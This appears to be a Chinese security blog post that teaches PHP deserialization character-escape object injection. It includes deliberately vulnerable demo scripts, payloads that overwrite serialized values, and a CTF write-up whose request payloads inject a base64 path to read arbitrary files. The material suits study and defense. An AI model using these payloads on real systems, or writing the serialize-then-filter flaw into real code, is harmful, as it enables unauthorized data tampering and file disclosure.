php反序列化中的对象逃逸

php反序列化中的对象逃逸的学习

php中的几个特性

  1. PHP 在反序列化时,对类中不存在的属性也会进行反序列化

  1. PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的
  2. 对于类似这种O:1:"A":2:{s:1:"a";s:3:"123";s:1:"b";s:9:"xianyu123";}s:1:"c";s:2:"yes";也是能够正常反序列化的,即使s:2:"yes"的长度不匹配也不影响。说明php在反序列化的时候只要求一个反序列化字符串块合法即可,当然得是第一个字符串块。

漏洞产生的原因

序列化的字符串在经过过滤函数不正确的处理而导致对象注入,因为先进行了序列化,再进行过滤,那么就有可能会产生此漏洞。

Demo演示

Demo1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function filter($f){
$filter = '/c/i';
return preg_replace($filter,'bb',$f);
}
$username = $_GET['user'];
$password = "mypass";
$user = array($username, $password);
var_dump(serialize($user));
echo "\n";
$r = filter(serialize($user));
var_dump($r);
echo "\n";
var_dump(unserialize($r));
?>

这里的user参数可控,我们先给出payload:xianyu123cccccccccccccccccccc";i:1;s:6:"123456";}

代码第4行,是把c替换成两个b,这样的话每有一个c,就可以多出1个字符,然后我们的核心代码是";i:1;s:6:"123456";},长度为20,然后我们只需要构造20个c即可。

这样的话就可以覆盖掉本来的$password = "mypass";,替换成了我们自己想要的密码。

Demo2

这里模拟一个环境,就是如何覆盖掉$account['g']

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
function filter($f){
$filter = '/c/i';
return preg_replace($filter,'',$f);
}
$account = [];
$account['u'] = 'admin';
$account['p'] = 'pass';
extract($_GET);
$account['g'] = 'g7bk';
var_dump(serialize($account));
echo "\n";
$r = filter(serialize($account));
var_dump($r);
echo "\n";
var_dump(unserialize($r));

先给出payload:

1
?account[u]=cccccccccccccccccccccccccccccccccccccccc&account[p]=";s:1:"m";s:9:"xianyu123";s:1:"h";s:4:"hhhh";s:1:"g";s:4:"kkkk";}

首先我们先不要看过滤的代码

正常情况下的序列化结果为:

1
a:3:{s:1:"u";s:40:"cccccccccccccccccccccccccccccccccccccccc";s:1:"p";s:65:"";s:1:"m";s:9:"xianyu123";s:1:"h";s:4:"hhhh";s:1:"g";s:4:"kkkk";}";s:1:"g";s:4:"g7bk";}

经过过滤函数后的序列化结果为:

1
a:3:{s:1:"u";s:40:"";s:1:"p";s:65:"";s:1:"m";s:9:"xianyu123";s:1:"h";s:4:"hhhh";s:1:"g";s:4:"kkkk";}";s:1:"g";s:4:"g7bk";}

可以看到u的长度虽然为40,但是已经没有了内容,所以反序列化会自动往后读取40位

会读取到上图的位置,然后结束。因为u的序列化内容读取数据时需要往后填充40位,导致后面的p的内容也发生了改变,吞掉了其双引号,所以此时后面的";s:1:"g";s:4:"g7bk";}在反序列化时就会被当作非法字符忽略掉,导致我们可以控制$account['g']的值。

实际中的案例分析

joomla3.0.0-3.4.6 对象注入导致的反序列化

CTF中的利用

安洵杯2019-easy_serialize_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

利用方法和上面的demo2类似,这里就不再重复了,原理就是利用过滤为空让反序列化会自动往后读取,然后可以对$_SESSION['img']进行控制,进而可以任意文件读取

payload:

读取hint提示

1
_SESSION[user]=fl1gfl1gfl1gfl1gfl1gfl1g&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"aaa";s:2:"no";}&function=show_image

读取flag

1
_SESSION[user]=fl1gfl1gfl1gfl1gfl1gfl1g&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:3:"aaa";s:2:"no";}&function=show_image

Reference

  1. PHP字符逃逸导致的对象注入
  2. 详解PHP反序列化中的字符逃逸

本文标题:php反序列化中的对象逃逸

文章作者:xianyu123

发布时间:2019年12月17日 - 16:15

最后更新:2019年12月18日 - 21:48

原始链接:http://0clickjacking0.github.io/2019/12/17/php反序列化中的对象逃逸/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------    本文结束  感谢您的阅读    -------------